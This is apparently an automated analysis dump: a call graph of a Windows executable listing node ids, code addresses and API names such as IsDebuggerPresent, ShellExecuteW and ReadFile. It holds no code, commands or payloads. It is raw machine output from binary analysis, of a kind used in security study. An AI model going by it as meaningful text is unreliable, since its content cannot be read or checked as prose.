6 API calls 85333->85334 85335 4184a4 85333->85335 85334->85333 85335->85265 85380 40eb70 85336->85380 85339->85278 85340->85280 85341->85282 85384 401f80 85342->85384 85344 40d6f1 IsDebuggerPresent 85345 431a9d MessageBoxA 85344->85345 85346 40d6ff 85344->85346 85347 431ab6 85345->85347 85346->85347 85348 40d71f 85346->85348 85477 403e90 75 API calls 3 library calls 85347->85477 85454 40f3b0 85348->85454 85352 40d73a GetFullPathNameW 85474 401440 127 API calls _wcscat 85352->85474 85354 40d77a 85355 40d782 85354->85355 85356 431b09 SetCurrentDirectoryW 85354->85356 85357 40d78b 85355->85357 85478 43604b 6 API calls 85355->85478 85356->85355 85466 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85357->85466 85360 431b28 85360->85357 85362 431b30 GetModuleFileNameW 85360->85362 85364 431ba4 GetForegroundWindow ShellExecuteW 85362->85364 85365 431b4c 85362->85365 85367 40d7c7 85364->85367 85479 401b70 75 API calls 2 library calls 85365->85479 85366 40d795 85374 40d7a8 85366->85374 85475 40e1e0 97 API calls _memset 85366->85475 85371 40d7d1 SetCurrentDirectoryW 85367->85371 85369 431b5a 85480 40d3b0 75 API calls 2 library calls 85369->85480 85371->85284 85373 431b66 85481 40d3b0 75 API calls 2 library calls 85373->85481 85374->85367 85476 401000 Shell_NotifyIconW _memset 85374->85476 85377 431b72 GetForegroundWindow ShellExecuteW 85378 431b9f 85377->85378 85378->85367 85379 40eba0 LoadLibraryA GetProcAddress 85379->85275 85381 40d86e 85380->85381 85382 40eb76 LoadLibraryA 85380->85382 85381->85275 85381->85379 85382->85381 85383 40eb87 GetProcAddress 85382->85383 85383->85381 85482 40e680 75 API calls 85384->85482 85386 401f90 85483 402940 75 API calls __write_nolock 85386->85483 85388 401fa2 GetModuleFileNameW 85484 40ff90 85388->85484 85390 401fbd 85496 4107b0 75 API calls 85390->85496 85392 401fd6 85497 401b70 75 API calls 2 library calls 85392->85497 85394 401fe4 85498 4019e0 76 API calls 85394->85498 85396 401ff2 85397 4092c0 VariantClear 85396->85397 85398 402002 85397->85398 85499 401b70 75 API calls 2 library calls 85398->85499 85400 40201c 85500 4019e0 76 API calls 85400->85500 85402 40202c 85501 401b70 75 API calls 2 library calls 85402->85501 85404 40203c 85502 40c3e0 75 API calls 85404->85502 85406 40204d 85503 40c060 85406->85503 85410 40206e 85509 4115d0 79 API calls 2 library calls 85410->85509 85412 40207d 85413 42c174 85412->85413 85414 402088 85412->85414 85520 401a70 75 API calls 85413->85520 85510 4115d0 79 API calls 2 library calls 85414->85510 85417 42c189 85521 401a70 75 API calls 85417->85521 85418 402093 85418->85417 85419 40209e 85418->85419 85511 4115d0 79 API calls 2 library calls 85419->85511 85422 42c1a7 85424 42c1b0 GetModuleFileNameW 85422->85424 85423 4020a9 85423->85424 85425 4020b4 85423->85425 85522 401a70 75 API calls 85424->85522 85512 4115d0 79 API calls 2 library calls 85425->85512 85428 4020bf 85430 402107 85428->85430 85437 42c20a _wcscpy 85428->85437 85513 401a70 75 API calls 85428->85513 85429 42c1e2 85523 40df50 75 API calls 85429->85523 85433 402119 85430->85433 85430->85437 85432 42c1f1 85524 401a70 75 API calls 85432->85524 85434 42c243 85433->85434 85515 40e7e0 76 API calls 85433->85515 85525 401a70 75 API calls 85437->85525 85439 4020e5 _wcscpy 85514 401a70 75 API calls 85439->85514 85440 42c201 85440->85437 85442 402132 85516 40d030 76 API calls 85442->85516 85444 40213e 85446 4092c0 VariantClear 85444->85446 85449 402148 85446->85449 85447 402184 85451 4092c0 VariantClear 85447->85451 85449->85447 85517 40d030 76 API calls 85449->85517 85518 40e640 76 API calls 85449->85518 85519 401a70 75 API calls 85449->85519 85453 402196 ctype 85451->85453 85453->85344 85455 42ccf4 _memset 85454->85455 85456 40f3c9 85454->85456 85458 42cd05 GetOpenFileNameW 85455->85458 86185 40ffb0 76 API calls ctype 85456->86185 85458->85456 85460 40d732 85458->85460 85459 40f3d2 86186 410130 SHGetMalloc 85459->86186 85460->85352 85460->85354 85462 40f3d9 86191 410020 88 API calls __wcsicoll 85462->86191 85464 40f3e7 86192 40f400 85464->86192 85467 42b9d3 85466->85467 85468 41025a LoadImageW RegisterClassExW 85466->85468 86239 443e8f EnumResourceNamesW LoadImageW 85467->86239 86238 4102f0 7 API calls 85468->86238 85471 42b9da 85472 40d790 85473 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85472->85473 85473->85366 85474->85354 85475->85374 85476->85367 85477->85354 85478->85360 85479->85369 85480->85373 85481->85377 85482->85386 85483->85388 85526 40f5e0 85484->85526 85487 40ffa6 85487->85390 85489 42b6d8 85490 42b6e6 85489->85490 85582 434fe1 85489->85582 85492 413a88 __fclose_nolock 67 API calls 85490->85492 85493 42b6f5 85492->85493 85494 434fe1 106 API calls 85493->85494 85495 42b702 85494->85495 85495->85390 85496->85392 85497->85394 85498->85396 85499->85400 85500->85402 85501->85404 85502->85406 85504 41171a 75 API calls 85503->85504 85505 40c088 85504->85505 85506 41171a 75 API calls 85505->85506 85507 402061 85506->85507 85508 401a70 75 API calls 85507->85508 85508->85410 85509->85412 85510->85418 85511->85423 85512->85428 85513->85439 85514->85430 85515->85442 85516->85444 85517->85449 85518->85449 85519->85449 85520->85417 85521->85422 85522->85429 85523->85432 85524->85440 85525->85449 85586 40f580 85526->85586 85528 40f5f8 _strcat ctype 85594 40f6d0 85528->85594 85533 42b2ee 85623 4151b0 85533->85623 85535 40f679 85535->85533 85536 40f681 85535->85536 85610 414e94 85536->85610 85540 40f68b 85540->85487 85545 452574 85540->85545 85542 42b31d 85629 415484 85542->85629 85544 42b33d 85546 41557c _fseek 105 API calls 85545->85546 85547 4525df 85546->85547 86130 4523ce 85547->86130 85550 4525fc 85550->85489 85551 4151b0 __fread_nolock 81 API calls 85552 45261d 85551->85552 85553 4151b0 __fread_nolock 81 API calls 85552->85553 85554 45262e 85553->85554 85555 4151b0 __fread_nolock 81 API calls 85554->85555 85556 452649 85555->85556 85557 4151b0 __fread_nolock 81 API calls 85556->85557 85558 452666 85557->85558 85559 41557c _fseek 105 API calls 85558->85559 85560 452682 85559->85560 85561 4138ba _malloc 67 API calls 85560->85561 85562 45268e 85561->85562 85563 4138ba _malloc 67 API calls 85562->85563 85564 45269b 85563->85564 85565 4151b0 __fread_nolock 81 API calls 85564->85565 85566 4526ac 85565->85566 85567 44afdc GetSystemTimeAsFileTime 85566->85567 85568 4526bf 85567->85568 85569 4526d5 85568->85569 85570 4526fd 85568->85570 85573 413a88 __fclose_nolock 67 API calls 85569->85573 85571 452704 85570->85571 85572 45275b 85570->85572 86136 44b195 85571->86136 85575 413a88 __fclose_nolock 67 API calls 85572->85575 85576 4526df 85573->85576 85578 452759 85575->85578 85579 413a88 __fclose_nolock 67 API calls 85576->85579 85577 452753 85580 413a88 __fclose_nolock 67 API calls 85577->85580 85578->85489 85581 4526e8 85579->85581 85580->85578 85581->85489 85583 434ff1 85582->85583 85584 434feb 85582->85584 85583->85490 85585 414e94 __fcloseall 106 API calls 85584->85585 85585->85583 85587 429440 85586->85587 85588 40f589 _wcslen 85586->85588 85589 40f58f WideCharToMultiByte 85588->85589 85590 40f5d8 85589->85590 85591 40f5ad 85589->85591 85590->85528 85592 41171a 75 API calls 85591->85592 85593 40f5bb WideCharToMultiByte 85592->85593 85593->85528 85595 40f6dd _strlen 85594->85595 85642 40f790 85595->85642 85598 414e06 85661 414d40 85598->85661 85600 40f666 85600->85533 85601 40f450 85600->85601 85605 40f45a _strcat _realloc __write_nolock 85601->85605 85602 4151b0 __fread_nolock 81 API calls 85602->85605 85603 40f531 85603->85535 85605->85602 85605->85603 85608 42936d 85605->85608 85744 41557c 85605->85744 85606 41557c _fseek 105 API calls 85607 429394 85606->85607 85609 4151b0 __fread_nolock 81 API calls 85607->85609 85608->85606 85609->85603 85611 414ea0 __close 85610->85611 85612 414eb4 85611->85612 85614 414ed1 85611->85614 85883 417f23 67 API calls __getptd_noexit 85612->85883 85616 415965 __lock_file 68 API calls 85614->85616 85621 414ec9 __close 85614->85621 85615 414eb9 85884 417ebb 6 API calls 2 library calls 85615->85884 85617 414ee9 85616->85617 85867 414e1d 85617->85867 85621->85540 85952 41511a 85623->85952 85625 4151c8 85626 44afdc 85625->85626 86123 4431e0 85626->86123 85628 44affd 85628->85542 85630 415490 __close 85629->85630 85631 4154bb 85630->85631 85632 41549e 85630->85632 85633 415965 __lock_file 68 API calls 85631->85633 86127 417f23 67 API calls __getptd_noexit 85632->86127 85635 4154c3 85633->85635 85637 4152e7 __ftell_nolock 71 API calls 85635->85637 85636 4154a3 86128 417ebb 6 API calls 2 library calls 85636->86128 85639 4154cf 85637->85639 86129 4154e8 LeaveCriticalSection LeaveCriticalSection __wfsopen 85639->86129 85641 4154b3 __close 85641->85544 85643 40f7ae _memset 85642->85643 85645 40f628 85643->85645 85646 415258 85643->85646 85645->85598 85647 415285 85646->85647 85648 415268 85646->85648 85647->85648 85649 41528c 85647->85649 85657 417f23 67 API calls __getptd_noexit 85648->85657 85659 41c551 103 API calls 14 library calls 85649->85659 85652 41526d 85658 417ebb 6 API calls 2 library calls 85652->85658 85654 4152b2 85655 41527d 85654->85655 85660 4191c9 101 API calls 6 library calls 85654->85660 85655->85643 85657->85652 85659->85654 85660->85655 85662 414d4c __close 85661->85662 85663 414d5f 85662->85663 85665 414d95 85662->85665 85713 417f23 67 API calls __getptd_noexit 85663->85713 85680 41e28c 85665->85680 85666 414d64 85714 417ebb 6 API calls 2 library calls 85666->85714 85669 414d9a 85671 414da1 85669->85671 85672 414dae 85669->85672 85670 414d74 __close @_EH4_CallFilterFunc@8 85670->85600 85715 417f23 67 API calls __getptd_noexit 85671->85715 85674 414dd6 85672->85674 85675 414db6 85672->85675 85698 41dfd8 85674->85698 85716 417f23 67 API calls __getptd_noexit 85675->85716 85681 41e298 __close 85680->85681 85682 418407 __lock 67 API calls 85681->85682 85695 41e2a6 85682->85695 85683 41e31b 85718 41e3bb 85683->85718 85684 41e322 85686 416fb6 __malloc_crt 67 API calls 85684->85686 85687 41e32c 85686->85687 85687->85683 85723 4189e6 InitializeCriticalSectionAndSpinCount __close 85687->85723 85688 41e3b0 __close 85688->85669 85690 418344 __mtinitlocknum 67 API calls 85690->85695 85692 41e351 85693 41e35c 85692->85693 85694 41e36f EnterCriticalSection 85692->85694 85696 413a88 __fclose_nolock 67 API calls 85693->85696 85694->85683 85695->85683 85695->85684 85695->85690 85721 4159a6 68 API calls __lock 85695->85721 85722 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85695->85722 85696->85683 85699 41dffb __wopenfile 85698->85699 85700 41e015 85699->85700 85712 41e1e9 85699->85712 85730 4136bc 79 API calls 2 library calls 85699->85730 85728 417f23 67 API calls __getptd_noexit 85700->85728 85702 41e01a 85729 417ebb 6 API calls 2 library calls 85702->85729 85704 41e247 85725 425db0 85704->85725 85708 41e1e2 85708->85712 85731 4136bc 79 API calls 2 library calls 85708->85731 85710 41e201 85710->85712 85732 4136bc 79 API calls 2 library calls 85710->85732 85712->85700 85712->85704 85713->85666 85715->85670 85716->85670 85717 414dfc LeaveCriticalSection LeaveCriticalSection __wfsopen 85717->85670 85724 41832d LeaveCriticalSection 85718->85724 85720 41e3c2 85720->85688 85721->85695 85722->85695 85723->85692 85724->85720 85733 425ce4 85725->85733 85727 414de1 85727->85717 85728->85702 85730->85708 85731->85710 85732->85712 85735 425cf0 __close 85733->85735 85734 425d03 85736 417f23 __vswprintf_l 67 API calls 85734->85736 85735->85734 85737 425d41 85735->85737 85738 425d08 85736->85738 85739 4255c4 __tsopen_nolock 132 API calls 85737->85739 85740 417ebb __vswprintf_l 6 API calls 85738->85740 85741 425d5b 85739->85741 85742 425d17 __close 85740->85742 85743 425d82 __sopen_helper LeaveCriticalSection 85741->85743 85742->85727 85743->85742 85748 415588 __close 85744->85748 85745 415596 85775 417f23 67 API calls __getptd_noexit 85745->85775 85747 4155c4 85757 415965 85747->85757 85748->85745 85748->85747 85750 41559b 85776 417ebb 6 API calls 2 library calls 85750->85776 85756 4155ab __close 85756->85605 85758 415977 85757->85758 85759 415999 EnterCriticalSection 85757->85759 85758->85759 85761 41597f 85758->85761 85760 4155cc 85759->85760 85763 4154f2 85760->85763 85762 418407 __lock 67 API calls 85761->85762 85762->85760 85764 415512 85763->85764 85765 415502 85763->85765 85767 415524 85764->85767 85778 4152e7 85764->85778 85832 417f23 67 API calls __getptd_noexit 85765->85832 85795 41486c 85767->85795 85774 415507 85777 4155f7 LeaveCriticalSection LeaveCriticalSection __wfsopen 85774->85777 85775->85750 85777->85756 85779 41531a 85778->85779 85780 4152fa 85778->85780 85781 41453a __fileno 67 API calls 85779->85781 85833 417f23 67 API calls __getptd_noexit 85780->85833 85783 415320 85781->85783 85786 41efd4 __locking 71 API calls 85783->85786 85784 4152ff 85834 417ebb 6 API calls 2 library calls 85784->85834 85788 415335 85786->85788 85787 41530f 85787->85767 85788->85787 85789 4153a9 85788->85789 85791 415364 85788->85791 85835 417f23 67 API calls __getptd_noexit 85789->85835 85791->85787 85792 41efd4 __locking 71 API calls 85791->85792 85793 415404 85792->85793 85793->85787 85794 41efd4 __locking 71 API calls 85793->85794 85794->85787 85796 414885 85795->85796 85797 4148a7 85795->85797 85796->85797 85798 41453a __fileno 67 API calls 85796->85798 85801 41453a 85797->85801 85799 4148a0 85798->85799 85836 41c3cf 101 API calls 5 library calls 85799->85836 85802 41455e 85801->85802 85803 414549 85801->85803 85807 41efd4 85802->85807 85837 417f23 67 API calls __getptd_noexit 85803->85837 85805 41454e 85838 417ebb 6 API calls 2 library calls 85805->85838 85808 41efe0 __close 85807->85808 85809 41f003 85808->85809 85810 41efe8 85808->85810 85812 41f011 85809->85812 85816 41f052 85809->85816 85859 417f36 67 API calls __getptd_noexit 85810->85859 85861 417f36 67 API calls __getptd_noexit 85812->85861 85813 41efed 85860 417f23 67 API calls __getptd_noexit 85813->85860 85815 41f016 85862 417f23 67 API calls __getptd_noexit 85815->85862 85839 41ba3b 85816->85839 85820 41f01d 85863 417ebb 6 API calls 2 library calls 85820->85863 85821 41f058 85823 41f065 85821->85823 85824 41f07b 85821->85824 85849 41ef5f 85823->85849 85864 417f23 67 API calls __getptd_noexit 85824->85864 85825 41eff5 __close 85825->85774 85828 41f073 85866 41f0a6 LeaveCriticalSection __unlock_fhandle 85828->85866 85829 41f080 85865 417f36 67 API calls __getptd_noexit 85829->85865 85832->85774 85833->85784 85835->85787 85836->85797 85837->85805 85840 41ba47 __close 85839->85840 85841 41baa2 85840->85841 85842 418407 __lock 67 API calls 85840->85842 85843 41bac4 __close 85841->85843 85844 41baa7 EnterCriticalSection 85841->85844 85845 41ba73 85842->85845 85843->85821 85844->85843 85846 4189e6 ___lock_fhandle InitializeCriticalSectionAndSpinCount 85845->85846 85848 41ba8a 85845->85848 85846->85848 85847 41bad2 ___lock_fhandle LeaveCriticalSection 85847->85841 85848->85847 85850 41b9c4 __chsize_nolock 67 API calls 85849->85850 85851 41ef6e 85850->85851 85852 41ef84 SetFilePointer 85851->85852 85853 41ef74 85851->85853 85855 41efa3 85852->85855 85856 41ef9b GetLastError 85852->85856 85854 417f23 __vswprintf_l 67 API calls 85853->85854 85858 41ef79 85854->85858 85857 417f49 __dosmaperr 67 API calls 85855->85857 85855->85858 85856->85855 85857->85858 85858->85828 85859->85813 85860->85825 85861->85815 85862->85820 85864->85829 85865->85828 85866->85825 85868 414e31 85867->85868 85869 414e4d 85867->85869 85913 417f23 67 API calls __getptd_noexit 85868->85913 85872 41486c __flush 101 API calls 85869->85872 85876 414e46 85869->85876 85871 414e36 85914 417ebb 6 API calls 2 library calls 85871->85914 85873 414e59 85872->85873 85886 41e680 85873->85886 85885 414f08 LeaveCriticalSection LeaveCriticalSection __wfsopen 85876->85885 85878 41453a __fileno 67 API calls 85879 414e67 85878->85879 85890 41e5b3 85879->85890 85881 414e6d 85881->85876 85882 413a88 __fclose_nolock 67 API calls 85881->85882 85882->85876 85883->85615 85885->85621 85887 41e690 85886->85887 85888 414e61 85886->85888 85887->85888 85889 413a88 __fclose_nolock 67 API calls 85887->85889 85888->85878 85889->85888 85891 41e5bf __close 85890->85891 85892 41e5e2 85891->85892 85893 41e5c7 85891->85893 85894 41e5f0 85892->85894 85899 41e631 85892->85899 85930 417f36 67 API calls __getptd_noexit 85893->85930 85932 417f36 67 API calls __getptd_noexit 85894->85932 85897 41e5cc 85931 417f23 67 API calls __getptd_noexit 85897->85931 85898 41e5f5 85933 417f23 67 API calls __getptd_noexit 85898->85933 85902 41ba3b ___lock_fhandle 68 API calls 85899->85902 85905 41e637 85902->85905 85903 41e5d4 __close 85903->85881 85904 41e5fc 85934 417ebb 6 API calls 2 library calls 85904->85934 85907 41e652 85905->85907 85908 41e644 85905->85908 85935 417f23 67 API calls __getptd_noexit 85907->85935 85915 41e517 85908->85915 85911 41e64c 85936 41e676 LeaveCriticalSection __unlock_fhandle 85911->85936 85913->85871 85937 41b9c4 85915->85937 85917 41e57d 85950 41b93e 68 API calls 2 library calls 85917->85950 85919 41e527 85919->85917 85921 41b9c4 __chsize_nolock 67 API calls 85919->85921 85929 41e55b 85919->85929 85920 41e585 85928 41e5a7 85920->85928 85951 417f49 67 API calls 3 library calls 85920->85951 85923 41e552 85921->85923 85922 41b9c4 __chsize_nolock 67 API calls 85924 41e567 CloseHandle 85922->85924 85926 41b9c4 __chsize_nolock 67 API calls 85923->85926 85924->85917 85927 41e573 GetLastError 85924->85927 85926->85929 85927->85917 85928->85911 85929->85917 85929->85922 85930->85897 85931->85903 85932->85898 85933->85904 85935->85911 85936->85903 85938 41b9d1 85937->85938 85940 41b9e9 85937->85940 85939 417f36 __close 67 API calls 85938->85939 85942 41b9d6 85939->85942 85941 417f36 __close 67 API calls 85940->85941 85943 41ba2e 85940->85943 85944 41ba17 85941->85944 85945 417f23 __vswprintf_l 67 API calls 85942->85945 85943->85919 85946 417f23 __vswprintf_l 67 API calls 85944->85946 85947 41b9de 85945->85947 85948 41ba1e 85946->85948 85947->85919 85949 417ebb __vswprintf_l 6 API calls 85948->85949 85949->85943 85950->85920 85951->85928 85953 415126 __close 85952->85953 85954 41513a _memset 85953->85954 85955 41516f 85953->85955 85956 415164 __close 85953->85956 85981 417f23 67 API calls __getptd_noexit 85954->85981 85957 415965 __lock_file 68 API calls 85955->85957 85956->85625 85959 415177 85957->85959 85965 414f10 85959->85965 85960 415154 85982 417ebb 6 API calls 2 library calls 85960->85982 85967 414f2e _memset 85965->85967 85971 414f4c 85965->85971 85966 414f37 86034 417f23 67 API calls __getptd_noexit 85966->86034 85967->85966 85967->85971 85977 414f8b 85967->85977 85969 414f3c 86035 417ebb 6 API calls 2 library calls 85969->86035 85983 4151a6 LeaveCriticalSection LeaveCriticalSection __wfsopen 85971->85983 85973 4150d5 _memset 86038 417f23 67 API calls __getptd_noexit 85973->86038 85974 4150a9 _memset 86037 417f23 67 API calls __getptd_noexit 85974->86037 85975 41453a __fileno 67 API calls 85975->85977 85977->85971 85977->85973 85977->85974 85977->85975 85984 41ed9e 85977->85984 86014 41e6b1 85977->86014 86036 41ee9b 67 API calls 3 library calls 85977->86036 85981->85960 85983->85956 85985 41edaa __close 85984->85985 85986 41edb2 85985->85986 85987 41edcd 85985->85987 86108 417f36 67 API calls __getptd_noexit 85986->86108 85988 41eddb 85987->85988 85993 41ee1c 85987->85993 86110 417f36 67 API calls __getptd_noexit 85988->86110 85991 41edb7 86109 417f23 67 API calls __getptd_noexit 85991->86109 85992 41ede0 86111 417f23 67 API calls __getptd_noexit 85992->86111 85996 41ee29 85993->85996 85997 41ee3d 85993->85997 86113 417f36 67 API calls __getptd_noexit 85996->86113 85998 41ba3b ___lock_fhandle 68 API calls 85997->85998 86002 41ee43 85998->86002 85999 41ede7 86112 417ebb 6 API calls 2 library calls 85999->86112 86001 41ee2e 86114 417f23 67 API calls __getptd_noexit 86001->86114 86005 41ee50 86002->86005 86006 41ee66 86002->86006 86004 41edbf __close 86004->85977 86039 41e7dc 86005->86039 86115 417f23 67 API calls __getptd_noexit 86006->86115 86010 41ee5e 86117 41ee91 LeaveCriticalSection __unlock_fhandle 86010->86117 86011 41ee6b 86116 417f36 67 API calls __getptd_noexit 86011->86116 86015 41e6c1 86014->86015 86018 41e6de 86014->86018 86121 417f23 67 API calls __getptd_noexit 86015->86121 86017 41e6c6 86122 417ebb 6 API calls 2 library calls 86017->86122 86020 41e713 86018->86020 86028 41e6d6 86018->86028 86118 423600 86018->86118 86022 41453a __fileno 67 API calls 86020->86022 86023 41e727 86022->86023 86024 41ed9e __read 79 API calls 86023->86024 86025 41e72e 86024->86025 86026 41453a __fileno 67 API calls 86025->86026 86025->86028 86027 41e751 86026->86027 86027->86028 86029 41453a __fileno 67 API calls 86027->86029 86028->85977 86030 41e75d 86029->86030 86030->86028 86031 41453a __fileno 67 API calls 86030->86031 86032 41e769 86031->86032 86033 41453a __fileno 67 API calls 86032->86033 86033->86028 86034->85969 86036->85977 86037->85969 86038->85969 86040 41e813 86039->86040 86041 41e7f8 86039->86041 86043 41e822 86040->86043 86045 41e849 86040->86045 86042 417f36 __close 67 API calls 86041->86042 86044 41e7fd 86042->86044 86046 417f36 __close 67 API calls 86043->86046 86048 417f23 __vswprintf_l 67 API calls 86044->86048 86047 41e868 86045->86047 86061 41e87c 86045->86061 86049 41e827 86046->86049 86050 417f36 __close 67 API calls 86047->86050 86062 41e805 86048->86062 86052 417f23 __vswprintf_l 67 API calls 86049->86052 86054 41e86d 86050->86054 86051 41e8d4 86053 417f36 __close 67 API calls 86051->86053 86055 41e82e 86052->86055 86056 41e8d9 86053->86056 86057 417f23 __vswprintf_l 67 API calls 86054->86057 86058 417ebb __vswprintf_l 6 API calls 86055->86058 86059 417f23 __vswprintf_l 67 API calls 86056->86059 86060 41e874 86057->86060 86058->86062 86059->86060 86064 417ebb __vswprintf_l 6 API calls 86060->86064 86061->86051 86061->86062 86063 41e8b0 86061->86063 86065 41e8f5 86061->86065 86062->86010 86063->86051 86070 41e8bb ReadFile 86063->86070 86064->86062 86067 416fb6 __malloc_crt 67 API calls 86065->86067 86071 41e90b 86067->86071 86068 41ed62 GetLastError 86072 41ebe8 86068->86072 86073 41ed6f 86068->86073 86069 41e9e7 86069->86068 86076 41e9fb 86069->86076 86070->86068 86070->86069 86074 41e931 86071->86074 86075 41e913 86071->86075 86082 417f49 __dosmaperr 67 API calls 86072->86082 86087 41eb6d 86072->86087 86078 417f23 __vswprintf_l 67 API calls 86073->86078 86077 423462 __lseeki64_nolock 69 API calls 86074->86077 86079 417f23 __vswprintf_l 67 API calls 86075->86079 86076->86087 86089 41ec2d 86076->86089 86090 41ea17 86076->86090 86080 41e93d 86077->86080 86081 41ed74 86078->86081 86083 41e918 86079->86083 86080->86070 86084 417f36 __close 67 API calls 86081->86084 86082->86087 86085 417f36 __close 67 API calls 86083->86085 86084->86087 86085->86062 86086 413a88 __fclose_nolock 67 API calls 86086->86062 86087->86062 86087->86086 86088 41eca5 ReadFile 86093 41ecc4 GetLastError 86088->86093 86100 41ecce 86088->86100 86089->86087 86089->86088 86091 41ea7d ReadFile 86090->86091 86096 41eafa 86090->86096 86092 41ea9b GetLastError 86091->86092 86099 41eaa5 86091->86099 86092->86090 86092->86099 86093->86089 86093->86100 86094 41ebbe MultiByteToWideChar 86094->86087 86095 41ebe2 GetLastError 86094->86095 86095->86072 86096->86087 86097 41eb75 86096->86097 86098 41eb68 86096->86098 86102 41eb32 86096->86102 86097->86102 86103 41ebac 86097->86103 86101 417f23 __vswprintf_l 67 API calls 86098->86101 86099->86090 86104 423462 __lseeki64_nolock 69 API calls 86099->86104 86100->86089 86105 423462 __lseeki64_nolock 69 API calls 86100->86105 86101->86087 86102->86094 86106 423462 __lseeki64_nolock 69 API calls 86103->86106 86104->86099 86105->86100 86107 41ebbb 86106->86107 86107->86094 86108->85991 86109->86004 86110->85992 86111->85999 86113->86001 86114->85999 86115->86011 86116->86010 86117->86004 86119 416fb6 __malloc_crt 67 API calls 86118->86119 86120 423615 86119->86120 86120->86020 86121->86017 86126 414cef GetSystemTimeAsFileTime __aulldiv 86123->86126 86125 4431ef 86125->85628 86126->86125 86127->85636 86129->85641 86134 4523e1 _wcscpy 86130->86134 86131 4151b0 81 API calls __fread_nolock 86131->86134 86132 44afdc GetSystemTimeAsFileTime 86132->86134 86133 452553 86133->85550 86133->85551 86134->86131 86134->86132 86134->86133 86135 41557c 105 API calls _fseek 86134->86135 86135->86134 86137 44b1b4 86136->86137 86138 44b1a6 86136->86138 86140 44b1ca 86137->86140 86141 414e06 138 API calls 86137->86141 86142 44b1c2 86137->86142 86139 414e06 138 API calls 86138->86139 86139->86137 86171 4352d1 81 API calls 2 library calls 86140->86171 86144 44b2c1 86141->86144 86142->85577 86144->86140 86146 44b2cf 86144->86146 86145 44b20d 86147 44b211 86145->86147 86148 44b23b 86145->86148 86149 414e94 __fcloseall 106 API calls 86146->86149 86153 44b2dc 86146->86153 86151 414e94 __fcloseall 106 API calls 86147->86151 86152 44b21e 86147->86152 86172 43526e 86148->86172 86149->86153 86151->86152 86155 414e94 __fcloseall 106 API calls 86152->86155 86159 44b22e 86152->86159 86153->85577 86154 44b242 86156 44b270 86154->86156 86157 44b248 86154->86157 86155->86159 86182 44b0af 111 API calls 86156->86182 86160 44b255 86157->86160 86161 414e94 __fcloseall 106 API calls 86157->86161 86159->85577 86162 44b265 86160->86162 86164 414e94 __fcloseall 106 API calls 86160->86164 86161->86160 86162->85577 86163 44b276 86183 43522c 67 API calls __fclose_nolock 86163->86183 86164->86162 86166 44b27c 86167 44b289 86166->86167 86169 414e94 __fcloseall 106 API calls 86166->86169 86168 44b299 86167->86168 86170 414e94 __fcloseall 106 API calls 86167->86170 86168->85577 86169->86167 86170->86168 86171->86145 86173 4138ba _malloc 67 API calls 86172->86173 86174 43527d 86173->86174 86175 4138ba _malloc 67 API calls 86174->86175 86176 43528d 86175->86176 86177 4138ba _malloc 67 API calls 86176->86177 86178 43529d 86177->86178 86180 4352bc 86178->86180 86184 43522c 67 API calls __fclose_nolock 86178->86184 86180->86154 86181 4352c8 86181->86154 86182->86163 86183->86166 86184->86181 86185->85459 86187 410148 SHGetDesktopFolder 86186->86187 86189 4101a3 _wcscpy 86186->86189 86188 41015a _wcscpy 86187->86188 86187->86189 86188->86189 86190 41018a SHGetPathFromIDListW 86188->86190 86189->85462 86190->86189 86191->85464 86193 40f5e0 152 API calls 86192->86193 86194 40f417 86193->86194 86195 42ca37 86194->86195 86196 40f42c 86194->86196 86197 42ca1f 86194->86197 86198 452574 140 API calls 86195->86198 86233 4037e0 139 API calls 7 library calls 86196->86233 86234 43717f 110 API calls _printf 86197->86234 86201 42ca50 86198->86201 86204 42ca76 86201->86204 86205 42ca54 86201->86205 86202 40f446 86202->85460 86203 42ca2d 86203->86195 86206 41171a 75 API calls 86204->86206 86207 434fe1 106 API calls 86205->86207 86222 42cacc ctype 86206->86222 86208 42ca5e 86207->86208 86235 43717f 110 API calls _printf 86208->86235 86210 42ca6c 86210->86204 86211 42ccc3 86212 413a88 __fclose_nolock 67 API calls 86211->86212 86213 42cccd 86212->86213 86214 434fe1 106 API calls 86213->86214 86215 42ccda 86214->86215 86219 401b70 75 API calls 86219->86222 86222->86211 86222->86219 86223 445051 86222->86223 86226 402cc0 75 API calls 2 library calls 86222->86226 86227 4026a0 86222->86227 86236 44c80c 87 API calls 3 library calls 86222->86236 86237 44b408 75 API calls 86222->86237 86224 41171a 75 API calls 86223->86224 86225 445080 _realloc 86224->86225 86225->86222 86225->86225 86226->86222 86228 4026af 86227->86228 86229 40276b 86227->86229 86228->86229 86230 41171a 75 API calls 86228->86230 86231 4026ee ctype 86228->86231 86229->86222 86230->86231 86231->86229 86232 41171a 75 API calls 86231->86232 86232->86231 86233->86202 86234->86203 86235->86210 86236->86222 86237->86222 86238->85472 86239->85471 86240 431914 86241 431920 86240->86241 86242 431928 86241->86242 86243 43193d 86241->86243 86504 45e62e 116 API calls 3 library calls 86242->86504 86505 47f2b4 174 API calls 86243->86505 86246 43194a 86283 4095b0 ctype 86246->86283 86506 45e62e 116 API calls 3 library calls 86246->86506 86247 409708 86250 4097af 86250->86247 86491 40d590 VariantClear 86250->86491 86251 4315b8 WaitForSingleObject 86254 4315d6 GetExitCodeProcess CloseHandle 86251->86254 86251->86283 86253 431623 Sleep 86258 43163b timeGetTime 86253->86258 86278 409894 86253->86278 86495 40d590 VariantClear 86254->86495 86258->86278 86259 40986e Sleep 86263 409880 timeGetTime 86259->86263 86259->86278 86262 4098f1 TranslateMessage DispatchMessageW 86262->86283 86263->86278 86264 431673 CloseHandle 86264->86278 86265 43170c GetExitCodeProcess CloseHandle 86265->86278 86266 40d590 VariantClear 86266->86278 86267 46e641 134 API calls 86267->86278 86270 46dd22 133 API calls 86270->86278 86272 431781 Sleep 86272->86283 86275 45e62e 116 API calls 86275->86283 86278->86264 86278->86265 86278->86266 86278->86267 86278->86270 86278->86272 86282 4092c0 VariantClear 86278->86282 86278->86283 86492 447e59 75 API calls 86278->86492 86493 453b07 77 API calls 86278->86493 86494 4646a2 76 API calls 86278->86494 86496 444233 88 API calls _wcslen 86278->86496 86497 457509 VariantClear 86278->86497 86498 404120 86278->86498 86502 4717e3 VariantClear 86278->86502 86503 436272 6 API calls 86278->86503 86281 4319c9 VariantClear 86281->86283 86282->86278 86283->86247 86283->86250 86283->86251 86283->86253 86283->86259 86283->86262 86283->86275 86283->86278 86283->86281 86284 4092c0 VariantClear 86283->86284 86286 40b380 86283->86286 86310 409340 86283->86310 86343 409030 86283->86343 86357 40d300 86283->86357 86362 40d320 86283->86362 